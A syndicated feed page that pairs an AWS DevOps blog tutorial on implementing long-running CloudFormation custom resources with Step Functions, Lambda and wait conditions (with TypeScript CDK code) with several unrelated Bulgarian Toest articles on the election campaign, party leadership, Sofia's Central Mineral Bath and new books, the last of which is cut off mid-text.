Implementing long running deployments with AWS CloudFormation Custom Resources using AWS Step Functions

Post Syndicated from DAMODAR SHENVI WAGLE original https://aws.amazon.com/blogs/devops/implementing-long-running-deployments-with-aws-cloudformation-custom-resources-using-aws-step-functions/

AWS CloudFormation custom resource provides mechanisms to provision AWS resources that don’t have built-in support from CloudFormation. It lets us write custom provisioning logic for resources that aren’t supported as resource types under CloudFormation. This post focusses on the use cases where CloudFormation custom resource is used to implement a long running task/job. With custom resources, you can manage these custom tasks (which are one-off in nature) as deployment stack resources.

The routine pattern used for implementing custom resources is via AWS Lambda function. However, when using the Lambda function as the custom resource provider, you must consider its trade-offs, such as its 15 minute timeout. Tasks involved in the provisioning of certain AWS resources can be long running and could span beyond the Lambda timeout. In these scenarios, you must look beyond the conventional Lambda function-based approach for custom resources.

In this post, I’ll demonstrate how to use AWS Step Functions to implement custom resources using AWS Cloud Development Kit (AWS CDK). Step Functions allow complex deployment tasks to be orchestrated as a step-by-step workflow. It also offers direct integration with any AWS service via AWS SDK integrations. By default the CloudFormation stack waits for 1 hour before timing out. The timeout can be increased to maximum 12 hours using wait conditions. In this post, you’ll also see how to use wait conditions with custom resource to run long running deployment tasks as part of a CloudFormation stack.

Prerequisites

Before proceeding any further, you must identify and designate an AWS account required for the solution to work. You must also create an AWS account profile in ~/.aws/credentials for the designated AWS account, if you don’t already have one. The profile must have sufficient permissions to run an AWS CDK stack. It should be your private profile and only be used during the course of this post. Therefore, it should be fine if you want to use admin privileges. Don’t share the profile details, especially if it has admin privileges. I recommend removing the profile when you’re finished with this walkthrough. For more information about creating an AWS account profile, see Configuring the AWS CLI.

Services and frameworks used in the post include CloudFormation, Step Functions, Lambda, DynamoDB, Amazon S3, and AWS CDK.

Solution overview

The following architecture diagram shows the application of Step Functions to implement custom resources.

Architecture diagram

Figure 1. Architecture diagram

  1. The user deploys a CloudFormation stack that includes a custom resource implementation.
  2. The CloudFormation custom resource triggers a Lambda function with the appropriate event which can be CREATE/UPDATE/DELETE.
  3. The custom resource Lambda function invokes Step Functions workflow and offloads the event handling responsibility. The CloudFormation event and context are wrapped inside the Step Function input at the time of invocation.
  4. The custom resource Lambda function returns SUCCESS back to CloudFormation stack indicating that the custom resource provisioning has begun. CloudFormation stack then goes into waiting mode where it waits for a SUCCESS or FAILURE signal to continue.
  5. In the interim, Step Functions workflow handles the custom resource event through one or more steps.
  6. Step Functions workflow prepares the response to be sent back to CloudFormation stack.
  7. Send Response Lambda function sends a success/failure response back to CloudFormation stack. This propels CloudFormation stack out of the waiting mode and into completion.

Solution deep dive

In this section I will get into the details of several key aspects of the solution

Custom Resource Definition

Following code snippet shows the custom resource definition which can be found here. Please note that we also define AWS::CloudFormation::WaitCondition and AWS::CloudFormation::WaitConditionHandle alongside the custom resource. AWS::CloudFormation::WaitConditionHandle resource sets up a pre-signed URL which is passed into the CallbackUrl property of the Custom Resource.

The final completion signal for the custom resource i.e. SUCCESS/FAILURE is received over this CallbackUrl. To learn more about wait conditions please refer to its user guide here. Note that, when updating the custom resource, you cannot use the existing WaitCondition-WaitConditionHandle resource pair. You need to create a new pair for tracking each update/delete operation on the custom resource.

/************************** Custom Resource Definition *****************************/
// When you intend to update CustomResource make sure that a new WaitCondition and 
// a new WaitConditionHandle resource is created to track CustomResource update.
// The strategy we are using here is to create a hash of Custom Resource properties.
// The resource names for WaitCondition and WaitConditionHandle carry this hash.
// Anytime there is an update to the custom resource properties, a new hash is generated,
// which automatically leads to new WaitCondition and WaitConditionHandle resources.
const resourceName: string = getNormalizedResourceName('DemoCustomResource');
const demoData = {
    pk: 'demo-sfn',
    sk: resourceName,
    ts: Date.now().toString()
};
const dataHash = hash(demoData);
const wcHandle = new CfnWaitConditionHandle(
    this, 
    'WCHandle'.concat(dataHash)
)
const customResource = new CustomResource(this, resourceName, {
    serviceToken: customResourceLambda.functionArn,
    properties: {
        DDBTable: String(demoTable.tableName),
        Data: JSON.stringify(demoData),
        CallbackUrl: wcHandle.ref
    }
});
        
// Note: AWS::CloudFormation::WaitCondition resource type does not support updates.
new CfnWaitCondition(
    this,
    'WC'.concat(dataHash),
    {
        count: 1,
        timeout: '300',
        handle: wcHandle.ref
    }
).node.addDependency(customResource)
/**************************************************************************************/

Custom Resource Lambda

Following code snippet shows how the custom resource lambda function passes the CloudFormation event as an input into the StepFunction at the time of invocation. CloudFormation event contains the CallbackUrl resource property I discussed in the previous section.

private async startExecution() {
    const input = {
        cfnEvent: this.event,
        cfnContext: this.context
    };
    const params: StartExecutionInput = {
        stateMachineArn: String(process.env.SFN_ARN),
        input: JSON.stringify(input)
    };
    let attempt = 0;
    let retry = false;
    do {
        try {
            const response = await this.sfnClient.startExecution(params).promise();
            console.debug('Response: ' + JSON.stringify(response));
            retry = false;

Custom Resource StepFunction

The StepFunction handles the CloudFormation event based on the event type. The CloudFormation event containing CallbackUrl is passed down the stages of StepFunction all the way to the final step. The last step of the StepFunction sends back the response over CallbackUrl via send-cfn-response lambda function as shown in the following code snippet.

/**
 * Send response back to cloudformation
 * @param event
 * @param context
 * @param response
 */
export async function sendResponse(event: any, context: any, response: any) {
    const responseBody = JSON.stringify({
        Status: response.Status,
        Reason: "Success",
        UniqueId: response.PhysicalResourceId,
        Data: JSON.stringify(response.Data)
    });
    console.debug("Response body:\n", responseBody);
    const parsedUrl = url.parse(event.ResourceProperties.CallbackUrl);
    const options = {
        hostname: parsedUrl.hostname,
        port: 443,
        path: parsedUrl.path,
        method: "PUT",
        headers: {
            "content-type": "",
            "content-length": responseBody.length
        }
    };
    await new Promise(() => {
        const request = https.request(options, function(response: any) {
	    console.debug("Status code: " + response.statusCode);
	    console.debug("Status message: " + response.statusMessage);
	    context.done();
    	})
	request.on("error", function(error) {
	    console.debug("send(..) failed executing https.request(..): " + error);
	    context.done();
	});
	request.write(responseBody);
	request.end();
    });
    return;
}

Demo

Clone the GitHub repo cfn-custom-resource-using-step-functions and navigate to the folder cfn-custom-resource-using-step-functions. Now, execute the script script-deploy.sh by passing the name of the AWS profile that you created in the prerequisites section above. This should deploy the solution. The commands are shown as follows for your reference. Note that if you don’t pass the AWS profile name ‘default’ the profile will be used for deployment.

git clone 
cd cfn-custom-resource-using-step-functions
./script-deploy.sh "<AWS- ACCOUNT-PROFILE-NAME>"

The deployed solution consists of 2 stacks as shown in the following screenshot

  1. cfn-custom-resource-common-lib: Deploys common components
    • DynamoDB table that custom resources write to during their lifecycle events
    • Lambda layer used across the rest of the stacks
  2. cfn-custom-resource-sfn: Deploys Step Functions backed custom resource implementation
CloudFormation stacks deployed

Figure 2. CloudFormation stacks deployed

For demo purposes, I implemented a custom resource that inserts data into the DynamoDB table. When you deploy the solution for the first time, like you just did in the previous step, it initiates a CREATE event resulting in the creation of a new custom resource using Step Functions. You should see a new record with unix epoch timestamp in the DynamoDB table, indicating that the resource was created as shown in the following screenshot. You can find the DynamoDB table name/arn from the SSM Parameter Store /CUSTOM_RESOURCE_PATTERNS/DYNAMODB/ARN

DynamoDB record indicating custom resource creation

Figure 3. DynamoDB record indicating custom resource creation

Now, execute the script script-deploy.sh again. This should initiate an UPDATE event, resulting in the update of custom resources. The code also automatically creates new WaitConditionHandle and WaitCondition resources required to wait for the update event to finish. Now you should see that the records in the DynamoDb table have been updated with new values for lastOperation and ts attributes as follows.

DynamoDB record indicating custom resource update

Figure 4. DynamoDB record indicating custom resource update

Cleaning up

To remove all of the stacks, run the script script-undeploy.sh as follows.

./script-undeploy.sh "<AWS- ACCOUNT-PROFILE-NAME>"

Conclusion

In this post I showed how to look beyond the conventional approach of building CloudFormation custom resources using a Lambda function. I discussed implementing custom resources using Step Functions and CloudFormation wait conditions. Try this solution in scenarios where you must execute a long running deployment task/job as part of your CloudFormation stack deployment.

 

 

About the author:

Damodar Shenvi

Damodar Shenvi Wagle is a Cloud Application Architect at AWS Professional Services. His areas of expertise include architecting serverless solutions, CI/CD and automation.

Седмицата (12–17 септември)

Post Syndicated from Светла Енчева original https://toest.bg/editorial-12-17-september-2022/

В средата на месеца и на предизборната кампания сме. Затова не е учудващо, че всичко възможно се експлоатира с политическа цел, а което не пасва, се премълчава. За съжаление, макар и неизненадващо, мейнстрийм медиите също скрито заемат страна в кампанията и по този начин влияят върху преценката на избирателите. На трите водещи телевизии например им трябваха няколко дни, за да забележат контранастъплението на украинската армия и сериозните загуби, претърпени от Русия. Вместо това по няколко материала от новинарските емисии бяха посветени на безобидната тема за промените в британската монархия.

Но пък водеща тема през последните дни стана протестът на щедро субсидираните от държавата зърнопроизводители срещу… украинското зърно. От начина на отразяване у обществото остава впечатлението, че лошата Украйна трови българите с некачествено зърно и съсипва родните земеделски производители. Темата впрочем стана актуална скоро след като Русия обвини Украйна, че изнася зърното си за богатия ЕС вместо за бедните страни. От украинска страна отрекоха обвиненията. От „Капитал“ направиха проверка и установиха, че Украйна е внасяла в България най-вече слънчоглед, и то по времето, когато корабите ѝ бяха блокирани. От юли насам, когато вече имаше коридори за износ, почти не се внася слънчоглед в България. Едно от следствията от руската агресия, помните, беше скокът на цената на олиото. Но връзка с претенциите на зърнопроизводителите за монопол и инфлацията (също редовна тема в новините) не се прави.

Емилия Милчева

На предизборната кампания е посветен тазседмичният политически коментар на Емилия Милчева. Какво е ГЕРБ минус Бойко Борисов и „Продължаваме промяната“ минус Кирил Петков и Асен Василев (или дори без единия от тях)? Същото важи и за ИТН без Слави Трифонов, а Христо Иванов в голяма степен задава облика на коалицията „Демократична България“. В старите демокрации партийното дълголетие се основава на правила и процедури, докато в България на първо място стои личността на политическия лидер. Дори партии като БСП, които по принцип не са лидерски, имат свойството да се смаляват до размера на своя председател.

Друга водеща тема са наводнените карловски села. По този повод разговарях с пловдивския фотограф Анастас Търпанов, който е заминал там веднага след като е научил за бедствието, за да снима. Той разказа за хората, които доброволстват, и за недостатъчната и зле организирана помощ от страна на институциите, а също така предостави богат снимков материал. Извън „прожекторите“ остава пострадалата ромска махала в село Слатина. Желаещи да помогнат на жителите ѝ се намират чак след като Търпанов публикува снимки на ситуацията там. Според него хората в наводнените села имат нужда не само от материална, а и от психологическа подкрепа.

„Горещите“ социални теми имат свойството да отшумяват с времето. Така е и с казуса за Централната минерална баня в София, която все не става баня. Към темата ни връща Анета Василева, която ни предлага да продължим да следим историята, за да не се окажем за пореден път изненадани постфактум. Тя проследява хронологията на сагата за съдбата на софийската баня и допълва с коментари от професионалисти и организации, които са отделили повече от година от живота си, за да създават процедури, проекти и доклади с надеждата Централната баня в София да бъде върната към нов живот по смислен начин.

Зорница Христова

Статията на Зорница Христова „И какво като изтеглим „Винету“?“ е отговор на моята от миналата седмица „Че какво му е на Винету?“. Според Зорница изтеглянето на една книга от пазара, още повече комерсиално „продължение“ на оригинала, не решава нищо и даже вреди. Правилната позиция на издателството би била вместо това да публикува повече произведения на индиански автори и да им осигури видимост в медиите. Истинският либерализъм, истинската грижа за литературата, истинската грижа за представянето на всички гласове не е в забраняването, изтеглянето и заглушаването на книги, смята Зорница.

Тази седмица в рубриката „По буквите“ Зорница препоръчва едно преводно и две български заглавия. Книгата „Всички са свободни“ на Михаил Зигар предизвиква почуда как много аспекти на руската политика изглеждат абсурдни, но са факт, и колко страшна е всъщност нормализацията на разказа за тях. „Американски деликатеси“ на Катерина Стойкова съдържа поезия, която поразява с последователно отстоявания си избор да говори за чудовищното и за болезнения разпад на човешките отношения деликатно, без гняв. Сборникът с разкази „Навалица! Или 25 часа в град София“ доставя истинско удоволствие със стила и безспорния талант на автора си Йордан Д. Радичков.

Накрая – две препоръки от мен.

За днес, 17 септември, в Белград е планирано шествие в рамките на Европрайд 2022, но то беше забранено от сръбското Министерство на вътрешните работи след твърдение на пропутинския президент Александър Вучич, че не може да осигури охраната му. Ситуацията тревожно напомня събитията около прайда в Белград през 2010 г., вдъхновили филма „Парад“ на Сърджан Драгоевич. А това е повод да си припомним тази прекрасна кинотворба.

Точно след една седмица, на 24 септември, е премиерата на книгата на Марин Бодаков „Галерията на сърцето“. Стихосбирката е съвместно дело на издателствата „Точица“ и „ДА“. Редакторка и авторка на послеслова е Надежда Радулова, а художник на корицата – Кирил Златков. Мястото е театър „Сфумато“, часът е 19:00. Междувременно можем да отделим точно 10 секунди, за да видим и чуем стихотворението на Марин „Простодушно небе“, прочетено от актрисата Светлана Янчева и заснето от фотографката Яна Лозева.

Източник

Колко прави ГЕРБ минус Борисов или ПП минус Петков и Василев 

Post Syndicated from Емилия Милчева original https://toest.bg/kolko-pravi-gerb-minus-borisov-ili-pp-minus-petkov-i-vasilev/

Кое е онова, което влияе най-силно по време на предизборна кампания в България? Посланията на партиите? След четвърти поред парламентарни избори за по-малко от две години гражданите са развили хронична нечуваемост. Програмите? Доколкото ги има, едва ли някой вярва, че ще се изпълняват – и не само заради неизбежното коалиционно управление, а и поради дългогодишната традиция за неизпълнение.

Лидерство

Лидерската харизма? Изглежда, че този фактор има най-силно въздействие, затова и водачите на партиите са на първа линия – по медии и предизборни изяви. От речта на Симеон Сакскобургготски за 800-те дни до непрекъснатите хвалби на Бойко Борисов, независимо че думите не съвпадат с делата му още откакто управляваше София в оня полумандат, избирателите пристават на всеки новопоявил се месия.

НДСВ се срина след напускането на Царя. Какво би се случило с далеч по-организираната чрез структури ГЕРБ, ако Борисов се оттегли, е трудно за прогнозиране. Вероятно отлив на симпатизанти и боричкания за лидерския пост. Изхвърлянето на втория-в-партията Цветан Цветанов не успя да разклати ГЕРБ, макар именно негови да бяха заслугите за изграждането на структурите и организацията ѝ. Очакванията му, че мнозина „гербери“ ще станат „републиканци за България“, не се оправдаха – те избраха да се заслонят зад гърба на Борисов, който все още се инати, че без него България не може.

От „Продължаваме промяната“ (ПП) няма да остане и помен, ако по някаква причина Кирил Петков и Асен Василев я напуснат – или дори само единият, тъй като те са политически сиамски близнаци, сраснати каузално и като медиен образ от старта си в активната политика. ДПС може и да запази константния си брой избиратели, след като почетният председател Ахмед Доган престане да бъде пожизнен шеф – ако останалите партии продължат с практиката на етническо еднообразие и не слагат български мюсюлмани (турци, роми) на избираеми места.

В коалицията „Демократична България“ (ДБ), обединила три партии, председателят на „Да, България“ Христо Иванов e този, който изпъква с лидерство измежду останалите – председателя на ДСБ Атанас Атанасов и съпредседателите на „Зелено движение“ Владислав Панев и Добромира Костова. Очаквано Иванов беше преизбран от партията, след като си подаде оставката. Но ДБ загуби енергия след появата на ПП, а „Да, България“ някак твърде бързо улегна за петте си години на политическата сцена.

За „Има такъв народ“ всичко е ясно – няма шоу без шефа на шоуто Слави Трифонов. И ако за ИТН се знае вторият, че и третият след Трифонов, за „Български възход“ известен е само първият – Стефан Янев. Конкуренция във „Възраждане“ няма и Костадин Костадинов. Що се отнася до Мая Манолова, все едно къде е – вече седма година тя прави собствен стендъп.

Повечето партии в България са от лидерски тип, позиционирани около или заради един човек, изградил (медиен) образ на борец за правда, свобода и гражданско добруване. Когато обаче те не надскачат значително „размера“ на лидерите си, значи имат сериозен проблем. Също така имат проблем и когато се смаляват до размера на лидерите си, както се случва например с БСП. През целия Преход, въпреки неговото като цяло несправедливо преразпределение на икономическите активи и средства за производство, социалистическата партия постепенно губеше привърженици. (Макар че в най-бедната държава в ЕС, единствена от Съюза изпаднала от списъка на високоразвитите страни според индекса на ООН, силна лява партия е повече от необходима.)

Дълголетие

В старите демокрации дълголетието на един партиен лидер е основано върху установени, спазвани от десетилетия правила, включително система за подбор и отстраняване. В България, където партиите обикновено са изградени и центрирани около определена персона, на практика е невъзможно да се получи състезание като вътрешните избори в управляващата Великобритания Консервативна партия, спечелени от Лиз Тръс в конкуренция с Риши Сунак. Тръс дори не беше сред фаворитите на букмейкърите при първото гласуване през юли т.г., които излъчиха Сунак и Пени Мордънт (първата жена министър на отбраната на Обединеното кралство в правителството на Тереза Мей).

В българските партии трудно ще се намерят неколцина, които да се пробват за най-високия пост. Досега само в БСП е имало такива процедури, а опит за вътрешни избори имаше и през февруари т.г. в ДСБ, когато беше преизбран ген. Атанасов. При британските консерватори в първия етап на вътрешните избори се опитаха общо осем кандидати, а на финала, до който стигат двама, гласуват близо 160-те хиляди членове на партията.

Независимо че българските партии, като западните си събратя, също имат устав и партийни органи, те предпочитат в по-голяма степен източните традиции, където партийните лидери си гарантират запазването на поста чрез различни способи. Манипулират избора на делегати за национални събрания, обзавеждат се със „свои“ в ръководните партийни органи – от контролните комисии до изпълнителните бюра, и така задълго си осигуряват престоя начело.

Според изследването „Партийни членове и лидерски стилове в новите европейски демокрации“ на Департамента по политика към Глазгоуския университет политическите партии все по-малко разчитат на своята организационна основа и много повече на фигурите на лидерите. Независимо дали става дума за нови партии, маргинални, или масови формации, лидерите стават известни. В България центрирането на почти всички политически сили около лидерите и евентуално тяхно оттегляне ще ги деконструира до голяма степен. БСП, ДПС и ГЕРБ ще се смалят значително, но други, като „Продължаваме промяната“, „Възраждане“, „Български възход“, „Има такъв народ“, са застрашени от изличаване.

Има и друг проблем – партии без добре развита мрежа от структури и смислен партиен живот изолират своите избиратели. Техните парламентарни групи, обикновено съставени от най-приближените на лидерите, са най-добре запознати с политиката и действията на политическата сила, до които електоралната маса обаче не е допусната. Това създава неравнопоставеност между ръководството на партията и избирателите ѝ, благодарение на които тя съществува, печели субсидии, позиции във властта и т.н.

Независимо обаче колко са големи лидерите – и партиите им, – те са лилипути пред избирателите. Изглежда, са го забравили, но високомерието им ще бъде пометено от омерзените негласуващи.

Заглавна снимка: Стопкадър от видеоизлъчване на извънреден брифинг на Бойко Борисов и ГЕРБ от 22 юни 2022 г. 

Източник

След конкурса. Случаят „Централна минерална баня“ 

Post Syndicated from Анета Василева original https://toest.bg/tsentralna-mineralna-banya/

Страстите у нас утихват бързо. Театър „София“, Тютюневият град в Пловдив, детската болница, колчетата на „Графа“, „реставрацията“ на Ларгото, ремонтът на НДК, небостъргачът „Златен век“, „Апартаментгейт“… Всички те така възпаляваха обществото, все едно светът свършва. После светът, разбира се, не свършваше, просто се появяваше нещо ново, още по-възмутително. И страстите пак закипяваха като за последно.

Опитната власт знае това. Наводнения, избори, че и зима иде. Цените на газа са по-важни от архитектура, градска среда и културно наследство. Какви тук детски болници, какви каменни фасади на театри – това са просто дребнотемия.

Затова ми се иска днес, в Деня на София, да припомня още едно „дребнотемие“ – казуса със столичната Централна минерална баня. Да, и тук от известно време емоциите утихнаха, все пак ни предстоят четвъртите парламентарни избори за последните две години. Но хайде за разнообразие да се опитаме да проследим една буря още докато е само вятър, а не ураган – за да не се изненадваме за пореден път постфактум.

Да бъде баня

Дали Централната минерална баня да е баня, баня с музей, музей с баня, конферентен център с баня или едно нищо със статут на паметник от национално значение, е дебат, който продължава вече над 30 години (откак „съоръжението е спряло да изпълнява хигиенните си функции“, сиреч – затворили са го).

В края на 2018 г. споровете ескалираха с предстоящото решение на СОС да гласува изцяло премахване на банската функция в северното крило с двата големи басейна, останало нереконструирано при нанасянето на Музея за история на София в сградата. В резултат протестиращата срещу това решение група „Термално – нормално“ участва в дискусии, телевизионни предавания и обществени обсъждания, създаде мегапопулярния хаштаг #дабъдебаня и в крайна сметка успя да рестартира дебата.

Така в началото на 2020 г., по възлагане на столичното направление „Архитектура и градоустройство“, ОП „Софияплан“ започна подготовката на задание за концепция за развитие на северното и източното крило на сградата на Централната минерална баня. Екипът на общинското предприятие експериментира с нова форма на архитектурен конкурс у нас: първо – отворена покана за концепция, селекция на три екипа, после – разработване на три концепции, публично представяне и обсъждане, и накрая – създаване на план за действие, в който под формата на доклад от „Софияплан“ се обобщават идеите от трите концепции, описват се следващите стъпки и процеси, възможностите и предизвикателствата, както и отговорните страни.

През април 2021 г. докладът е внесен за разглеждане в СОС, но към днешна дата все още не е обсъждан, още по-малко гласуван или приет. Нещо повече – на 4 май 2022 г. на заседание на СОС е предложено резултатите от отворената покана да бъдат анулирани, а с това – и осеммесечният труд на десетки експерти. Общинските съветници от управляващото мнозинство настояват Общината да се оттегли от ръководните си функции, като прехвърли върху частен инвеститор отговорността за избора на проектант и изпълнител на проекта.

Всичко това е нормално – все пак минаха 4 години от бурната реакция на хората, страстите замряха, експерименталните конкурсни процедури успокоиха гражданското общество, време е нещата да си дойдат „на мястото“. Ето затова реших да събера мнението на част от хората, които отделиха над година от живота си, за да създават процедури, проекти и доклади с надеждата Централната баня в София да бъде върната към нов живот по смислен начин.

ОП „Софияплан“

Интервю с арх. Даяна Николова, експерт по културно наследство в „Софияплан“

Обществените очаквания за съдбата на Централната минерална баня в София са огромни. Нещо повече, впечатленията са за отчетлив обществен консенсус – „Да бъде баня!“. През пролетта на 2020 г., в началото на пандемията от COVID-19, ОП „Софияплан“ се ангажира в дълъг, прозрачен и до голяма степен експериментален конкурсен процес за намиране на решение на казуса. Стъпките са подробно описани на специалния сайт на отворената покана, но можете ли накратко да ги обобщите и тук?

В началото на 2020 г. на ОП „Софияплан“ бе възложено планирането и воденето на процес, който да даде отговор на въпроса какво да се случи със северното и източното крило на Централната минерална баня в София. Нашето предложение беше да се проведе отворена покана за концепции за развитие на тази част от сградата – не архитектурен конкурс, а състезание на идеи, които да включват не само възможното рефункционализиране на тези части на Банята, но и извеждане на бизнес план и модел за управление, които да докажат устойчиво съществуване на предложеното.

Така през март 2020 г., след широко консултиране в рамките на Общината, представихме и публично заданието за разработване на концепциите и целия планиран процес. Целта на това представяне беше да запознаем заинтересованите страни, но и да получим обратна връзка. Дадохме време за въпроси и коментари, много от които залегнаха в заданието и според мен го направиха по-добро.

В средата на май стартира отворената покана, като желаещите разполагаха с месец и половина за подготовка на кандидатури. В началото на юли жури от 15 членове (експерти от всички области, за които се търсеше решение, както и представители на всички политически представени групи в Общинския съвет на Столичната община) извърши подробно оценяване на подадените материали и класира 3 от кандидатствалите 4 екипа да продължат разработките на концепциите си.

Екипите работиха неуморно от началото на август до началото на ноември, като в процеса се постарахме да им осигурим максимума от информация, с която разполага Общината, за да могат да подготвят концепциите си. В края на ноември трите екипа представиха финалните си работи в онлайн среда и сами разказаха за начина си на работа и за конкурентните предимства на предложенията си, а също така аргументираха бизнес плановете си.

Преди повече от година, на базата на събраните конкурсни предложения, „Софияплан“ изготви и внесе в СОС План за обновяването на Централната минерална баня. Какви бяха първоначалните действия, които трябваше да следват след внасянето на този план, и в какви срокове трябваше да се извършат те?

Доста са дейностите, които следва да започнат своевременно. Все пак бих откроила неотложното започване на финализиране на режимите за сградата и създаване на план за опазване и управление. Освен че тези дейности са дължими на тази толкова важна за София и страната недвижима културна ценност, планът за опазване и управление е инструмент, който гарантира яснота за всички заинтересовани страни относно възможните намеси по сградата и начина на нейното управление, а при евентуален избор на партньор концесионер е и задължително условие. На тази база може да се разработи и качествено и коректно задание за архитектурен конкурс, който да осигури най-добрия проект за предвидените нови намеси.

Не бива да се пренебрегва и групата действия, свързани с качественото функциониране на регионалния исторически музей, а именно осигуряването на фондохранилища – на първо време поне за експонатите, помещаващи се в момента в частите на сградата, които биха били ползвани от термалния център и не биха се събрали в наличните фондохранилища. Не без значение е и необходимостта от допълнителни експозиционни площи за музея, които също следва да се намерят. Предложили сме конкретно местоположение за тези нужди в доклада, което обаче не значи, че възможностите се изчерпват с това предложение. Струва ми се, че и на музея дължим доста, той непрестанно попада в неловката ситуация на обстрел между тезите да бъде ли баня, или не, а това не бива да са теми, които се противопоставят, дори и да делят една сграда.

Има ли опасност близо двегодишните усилия за архитектурен конкурсен процес да се обезсмислят с решението от 4 май 2022 г. на Комисията по градоустройство към СОС да се отложи гласуването на внесения още през 2021 г. План за обновяване на Централната минерална баня? 

Надявам се, не. Има доста стъпки, които предхождат архитектурния конкурс, но въпреки това не смятам, че времето може да се „навакса“, ако пропуснем конкурса – или която и да е стъпка впрочем. Както са предложили и екипите, а ние сме се постарали да пренесем в максимална пълнота като идея и в доклада, това е комплексен процес, успехът на който се крепи на много и разнообразни действия в значителен период от време.

По отношение на самия архитектурен конкурс – освен средство за постигане на максимално качествен проект при ясни условия, това е и начин за широко включване на заинтересованите страни, на професионалната общност, а не бих подценила конкурса и като инструмент за образоване на широката публика. Това е задължителен процес за сграда от такъв ранг и с такива качества. В допълнение, архитектурният конкурс за този случай е наистина задължителен, но е само един от елементите за реализиране на концепцията.

Ключов въпрос, който блокира решението от години, е въпросът за концесионера на бъдещия термален център „Централна минерална баня“. Заинтересовани инвеститори и концесионери липсват – както за Централната баня, така и, оказа се, за ремонтираната с общински средства между 2018 и 2020 г. Минерална баня в Банкя. Има ли разминаване между обществения и частния интерес в случая?

Надявам се, че не е така. Може би липсва достатъчна и достатъчно добра комуникация на обществения интерес пред потенциални частни инвеститори. Един от механизмите за преодоляване на коментираните като неизгодни предходни концесионни процедури е поемането на значителна част от разходите по реконструкция, реставрация и ремонт на сградата от Общината.

В процеса на консултации се изясни, че не бива концесията да се фиксира като единствен начин на партньорство – именно поради тази причина и в доклада е посочено, че това следва да се определи след пазарно проучване с потенциални партньори. Възможен е избор на партньор с договор за управление, а мнозина застъпват тезата за общинско управление на този ресурс.

Та, връщайки се на въпроса – не, не мисля че има разминаване между частни и обществени интереси, а по-скоро липсва добра комуникация. Въпросите, свързани с Банята, са тежки и сложни – това е разговор, започнал още през 70-те, – но те няма да се изпарят, ако не говорим за тях и не правим съответните избори, зад които да заставаме.

Екип „Софийски терми“

Концепция с 93,80 точки оценка на първия етап от конкурсната процедура, архитекти Слава Савова и Мая Шопова

Слава Савова:

Проектът ни предлага възстановяване на социалната роля на сградата като посредник между хората и водата. Предлагаме три подхода за опазване: изявена реставрация, чрез която се пресъздава и реинтерпретира първоначалният вид на сградата; минимална намеса, в която се запазват историческите напластявания; и палимпсест – контрастна творческа намеса, която свързва функции на банята и музея. Тези подходи се прилагат върху различни части от сградата и са свързани с историята на нейната трансформация.

Отговор на въпроса защо се правят опити за анулиране на резултатите от отворената покана трябва да получим от главния архитект на града и от вносителя на това предложение – председателя на Комисията по устройство на територията, архитектура и жилищна политика. Настоящият План за обновяване се базира на работата на над 30 експерти от различни държави, а работата ни беше подпомогната от множество специалисти от „Софияплан“, НАГ, РИМ, НИНКН, Държавен архив – София, Фонд на фондовете и редица браншови организации – един чудесен пример за изготвянето на стратегически проучвания в бъдеще. Процесът беше изключително прозрачен, съпътстван с публични презентации и обсъждания.

Нашият екип работи върху концепцията си от края на март до края на ноември – осем месеца. Вложените усилия, ресурси и интелектуален труд са значителни и не виждаме причина настоящият план да бъде отменен. Напротив, следващата стъпка трябва да следва предписанията му, а именно провеждането на международен архитектурен конкурс, организиран от Столичната община. А изготвянето на задание за конкурса трябва да бъде поверено на утвърдени специалисти и да е съпътствано с обществени обсъждания. Чак тогава може да говорим за избор на потенциален инвеститор, който трябва да се съобрази с най-доброто проектно предложение за града. На заседанието на 4 май обаче беше предложено тъкмо обратното – приоритетен избор на концесионер. Нещо, което не можем да подкрепим.

Екип Kengo Kuma & Associates и „Ямазаки плюс Иванова Архитектс“

Концепция с 82,68 точки оценка на първия етап от конкурсната процедура, архитекти Минору Йокоо, Томохиро Мацунага (Kengo Kuma & Associates), Йоши Ямазаки, Надя Иванова („Ямазаки плюс Иванова Архитектс“), Цветомир Ценков, Георги Цапков

Надя Иванова: 

Отворената покана беше един фарс, отлагане на вземането на решение на СО по казуса с Централната минерална баня. В условията за участие беше ясно обявено, че Общината не поема никакъв ангажимент за развитието на тази инициатива. Много жалко, но участвахме само за да вкараме темата във фокуса и най-после да се спре с безкрайните увъртания относно съдбата на сградата и минералната вода. Провеждането на отворена покана не е единственото грешно решение на СО по отношение на ресурса от сгради и минерални извори в София, а поредната грешна и безсмислена стъпка. Остава загадката защо СО толкова силно се съпротивлява да възстанови минералните бани на София!

Екип „Историческа баня“

Концепция със 70,63 точки оценка на първия етап от конкурсната процедура, архитекти Веселин Алексиев, Елица Димитрова, Надежда Сучева

Иво Анев, икономист:

Проектът на „Историческа баня“ представлява бизнес план и модел, социологически, урбанистичен и архитектурен анализ, както и анализ и концепция за оползотворяване на минералните води. Той е фокусиран около устойчивото развитие на Централната минерална баня като символ на културата за ползване на минерална вода в града. Устойчивостта е най-важна за нашата концепция. Тя се постига чрез реставрация и модернизация на функцията на банята, което е съобразено със съществуващите реалности във и около сградата. За нас възстановяването не е достатъчно, необходимо e дългосрочно и устойчиво решение за бъдещето на сградата и водата.

Заглавна снимка: © Ан Фам

Източник

По буквите: Зигар, Стойкова, Радичков

Post Syndicated from Зорница Христова original https://toest.bg/po-bukvite-zygar-stoykova-radichkov/

В емблематичната си колонка, започната още през 2008 г. във в-к „Култура“, Марин Бодаков ни представяше нови литературни заглавия и питаше с какво точно тези книги ни променят. Вярваме, че е важно тази рубрика да продължи. От човек до човек, с нова книга в ръка.

„Всички са свободни“ от Михаил Зигар

подзаглавие „Русия една секунда преди Путин, или какво се обърка, как и защо“, превод от руски Здравка Петрова, Пловдив: ИК „Жанет 45“, 2022

Покрай смъртта на Горбачов се получи интересен казус. Написах статия за него в детската медия „Вижте“ и един малък читател ме поправи, че глаголите трябва да са в преизказно наклонение – „да завършват на -ла, -ло, -ли“. Разбира се, обясних защо е редно да използвам минало свършено – та аз съм била свидетел, тези неща ги помня, не са приказка!

Събитията от „Всички са свободни“ на Михаил Зигар също би трябвало да ги помня. Даже повече, тъй като съм била вече студентка.

Вятър и мъгла.

И не става въпрос само за това, че книгата е написана въз основа на вътрешна информация – интервюта със самите участници във въпросните събития. Нито за това, че тези участници си противоречат и Зигар добросъвестно винаги включва и двете версии.

Нито дори за това, че Русия по онова време изглеждаше слаба и малко от моите връстници гледаха натам. Просто и аз като описаните от Зигар тогавашни руски младежи в големите градове съм се интересувала повече от новопридобитата лична свобода, от възможностите и алтернативите, а не толкова от ставащото във властта.

Междувременно паметта ни нормализира неща, които не са нормални. И днес, докато чета „Всички са свободни“, чувам гласа на жабата от онзи разказ на Радичков.

